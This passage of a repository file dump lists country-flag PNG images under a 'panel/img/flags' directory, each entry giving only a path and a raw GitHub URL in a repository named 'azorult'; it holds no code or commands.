https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/is.png
--------------------------------------------------------------------------------
/panel/img/flags/it.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/it.png
--------------------------------------------------------------------------------
/panel/img/flags/jm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/jm.png
--------------------------------------------------------------------------------
/panel/img/flags/jo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/jo.png
--------------------------------------------------------------------------------
/panel/img/flags/jp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/jp.png
--------------------------------------------------------------------------------
/panel/img/flags/ke.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ke.png
--------------------------------------------------------------------------------
/panel/img/flags/kg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kg.png
--------------------------------------------------------------------------------
/panel/img/flags/kh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kh.png
--------------------------------------------------------------------------------
/panel/img/flags/ki.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ki.png
--------------------------------------------------------------------------------
/panel/img/flags/km.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/km.png
--------------------------------------------------------------------------------
/panel/img/flags/kn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kn.png
--------------------------------------------------------------------------------
/panel/img/flags/kp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kp.png
--------------------------------------------------------------------------------
/panel/img/flags/kr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kr.png
--------------------------------------------------------------------------------
/panel/img/flags/kw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kw.png
--------------------------------------------------------------------------------
/panel/img/flags/ky.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ky.png
--------------------------------------------------------------------------------
/panel/img/flags/kz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/kz.png
--------------------------------------------------------------------------------
/panel/img/flags/la.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/la.png
--------------------------------------------------------------------------------
/panel/img/flags/lb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lb.png
--------------------------------------------------------------------------------
/panel/img/flags/lc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lc.png
--------------------------------------------------------------------------------
/panel/img/flags/li.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/li.png
--------------------------------------------------------------------------------
/panel/img/flags/lk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lk.png
--------------------------------------------------------------------------------
/panel/img/flags/lr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lr.png
--------------------------------------------------------------------------------
/panel/img/flags/ls.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ls.png
--------------------------------------------------------------------------------
/panel/img/flags/lt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lt.png
--------------------------------------------------------------------------------
/panel/img/flags/lu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lu.png
--------------------------------------------------------------------------------
/panel/img/flags/lv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/lv.png
--------------------------------------------------------------------------------
/panel/img/flags/ly.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ly.png
--------------------------------------------------------------------------------
/panel/img/flags/ma.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ma.png
--------------------------------------------------------------------------------
/panel/img/flags/mc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mc.png
--------------------------------------------------------------------------------
/panel/img/flags/md.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/md.png
--------------------------------------------------------------------------------
/panel/img/flags/me.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/me.png
--------------------------------------------------------------------------------
/panel/img/flags/mg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mg.png
--------------------------------------------------------------------------------
/panel/img/flags/mh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mh.png
--------------------------------------------------------------------------------
/panel/img/flags/mk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mk.png
--------------------------------------------------------------------------------
/panel/img/flags/ml.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ml.png
--------------------------------------------------------------------------------
/panel/img/flags/mm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mm.png
--------------------------------------------------------------------------------
/panel/img/flags/mn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mn.png
--------------------------------------------------------------------------------
/panel/img/flags/mo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mo.png
--------------------------------------------------------------------------------
/panel/img/flags/mp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mp.png
--------------------------------------------------------------------------------
/panel/img/flags/mq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mq.png
--------------------------------------------------------------------------------
/panel/img/flags/mr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mr.png
--------------------------------------------------------------------------------
/panel/img/flags/ms.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ms.png
--------------------------------------------------------------------------------
/panel/img/flags/mt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mt.png
--------------------------------------------------------------------------------
/panel/img/flags/mu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mu.png
--------------------------------------------------------------------------------
/panel/img/flags/mv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mv.png
--------------------------------------------------------------------------------
/panel/img/flags/mw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mw.png
--------------------------------------------------------------------------------
/panel/img/flags/mx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mx.png
--------------------------------------------------------------------------------
/panel/img/flags/my.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/my.png
--------------------------------------------------------------------------------
/panel/img/flags/mz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/mz.png
--------------------------------------------------------------------------------
/panel/img/flags/na.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/na.png
--------------------------------------------------------------------------------
/panel/img/flags/nc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nc.png
--------------------------------------------------------------------------------
/panel/img/flags/ne.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ne.png
--------------------------------------------------------------------------------
/panel/img/flags/nf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nf.png
--------------------------------------------------------------------------------
/panel/img/flags/ng.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ng.png
--------------------------------------------------------------------------------
/panel/img/flags/ni.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ni.png
--------------------------------------------------------------------------------
/panel/img/flags/nl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nl.png
--------------------------------------------------------------------------------
/panel/img/flags/no.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/no.png
--------------------------------------------------------------------------------
/panel/img/flags/np.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/np.png
--------------------------------------------------------------------------------
/panel/img/flags/nr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nr.png
--------------------------------------------------------------------------------
/panel/img/flags/nu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nu.png
--------------------------------------------------------------------------------
/panel/img/flags/nz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/nz.png
--------------------------------------------------------------------------------
/panel/img/flags/om.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/om.png
--------------------------------------------------------------------------------
/panel/img/flags/pa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pa.png
--------------------------------------------------------------------------------
/panel/img/flags/pe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pe.png
--------------------------------------------------------------------------------
/panel/img/flags/pf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pf.png
--------------------------------------------------------------------------------
/panel/img/flags/pg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pg.png
--------------------------------------------------------------------------------
/panel/img/flags/ph.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ph.png
--------------------------------------------------------------------------------
/panel/img/flags/pk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pk.png
--------------------------------------------------------------------------------
/panel/img/flags/pl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pl.png
--------------------------------------------------------------------------------
/panel/img/flags/pm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pm.png
--------------------------------------------------------------------------------
/panel/img/flags/pn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pn.png
--------------------------------------------------------------------------------
/panel/img/flags/pr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pr.png
--------------------------------------------------------------------------------
/panel/img/flags/ps.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ps.png
--------------------------------------------------------------------------------
/panel/img/flags/pt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pt.png
--------------------------------------------------------------------------------
/panel/img/flags/pw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/pw.png
--------------------------------------------------------------------------------
/panel/img/flags/py.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/py.png
--------------------------------------------------------------------------------
/panel/img/flags/qa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/qa.png
--------------------------------------------------------------------------------
/panel/img/flags/re.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/re.png
--------------------------------------------------------------------------------
/panel/img/flags/ro.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ro.png
--------------------------------------------------------------------------------
/panel/img/flags/rs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/rs.png
--------------------------------------------------------------------------------
/panel/img/flags/ru.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ru.png
--------------------------------------------------------------------------------
/panel/img/flags/rw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/rw.png
--------------------------------------------------------------------------------
/panel/img/flags/sa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sa.png
--------------------------------------------------------------------------------
/panel/img/flags/sb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sb.png
--------------------------------------------------------------------------------
/panel/img/flags/sc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sc.png
--------------------------------------------------------------------------------
/panel/img/flags/scotland.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/scotland.png
--------------------------------------------------------------------------------
/panel/img/flags/sd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sd.png
--------------------------------------------------------------------------------
/panel/img/flags/se.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/se.png
--------------------------------------------------------------------------------
/panel/img/flags/sg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sg.png
--------------------------------------------------------------------------------
/panel/img/flags/sh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sh.png
--------------------------------------------------------------------------------
/panel/img/flags/si.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/si.png
--------------------------------------------------------------------------------
/panel/img/flags/sj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sj.png
--------------------------------------------------------------------------------
/panel/img/flags/sk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sk.png
--------------------------------------------------------------------------------
/panel/img/flags/sl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sl.png
--------------------------------------------------------------------------------
/panel/img/flags/sm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sm.png
--------------------------------------------------------------------------------
/panel/img/flags/sn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sn.png
--------------------------------------------------------------------------------
/panel/img/flags/so.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/so.png
--------------------------------------------------------------------------------
/panel/img/flags/sr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sr.png
--------------------------------------------------------------------------------
/panel/img/flags/st.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/st.png
--------------------------------------------------------------------------------
/panel/img/flags/sv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sv.png
--------------------------------------------------------------------------------
/panel/img/flags/sy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sy.png
--------------------------------------------------------------------------------
/panel/img/flags/sz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/sz.png
--------------------------------------------------------------------------------
/panel/img/flags/tc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tc.png
--------------------------------------------------------------------------------
/panel/img/flags/td.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/td.png
--------------------------------------------------------------------------------
/panel/img/flags/tf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tf.png
--------------------------------------------------------------------------------
/panel/img/flags/tg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tg.png
--------------------------------------------------------------------------------
/panel/img/flags/th.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/th.png
--------------------------------------------------------------------------------
/panel/img/flags/tj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tj.png
--------------------------------------------------------------------------------
/panel/img/flags/tk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tk.png
--------------------------------------------------------------------------------
/panel/img/flags/tl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tl.png
--------------------------------------------------------------------------------
/panel/img/flags/tm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tm.png
--------------------------------------------------------------------------------
/panel/img/flags/tn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tn.png
--------------------------------------------------------------------------------
/panel/img/flags/to.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/to.png
--------------------------------------------------------------------------------
/panel/img/flags/tr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tr.png
--------------------------------------------------------------------------------
/panel/img/flags/tt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tt.png
--------------------------------------------------------------------------------
/panel/img/flags/tv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tv.png
--------------------------------------------------------------------------------
/panel/img/flags/tw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tw.png
--------------------------------------------------------------------------------
/panel/img/flags/tz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/tz.png
--------------------------------------------------------------------------------
/panel/img/flags/ua.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ua.png
--------------------------------------------------------------------------------
/panel/img/flags/ug.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ug.png
--------------------------------------------------------------------------------
/panel/img/flags/um.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/um.png
--------------------------------------------------------------------------------
/panel/img/flags/us.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/us.png
--------------------------------------------------------------------------------
/panel/img/flags/uy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/uy.png
--------------------------------------------------------------------------------
/panel/img/flags/uz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/uz.png
--------------------------------------------------------------------------------
/panel/img/flags/va.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/va.png
--------------------------------------------------------------------------------
/panel/img/flags/vc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vc.png
--------------------------------------------------------------------------------
/panel/img/flags/ve.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ve.png
--------------------------------------------------------------------------------
/panel/img/flags/vg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vg.png
--------------------------------------------------------------------------------
/panel/img/flags/vi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vi.png
--------------------------------------------------------------------------------
/panel/img/flags/vn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vn.png
--------------------------------------------------------------------------------
/panel/img/flags/vu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vu.png
--------------------------------------------------------------------------------
/panel/img/flags/wales.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/wales.png
--------------------------------------------------------------------------------
/panel/img/flags/wf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/wf.png
--------------------------------------------------------------------------------
/panel/img/flags/ws.png:
--------------------------------------------------------------------------------
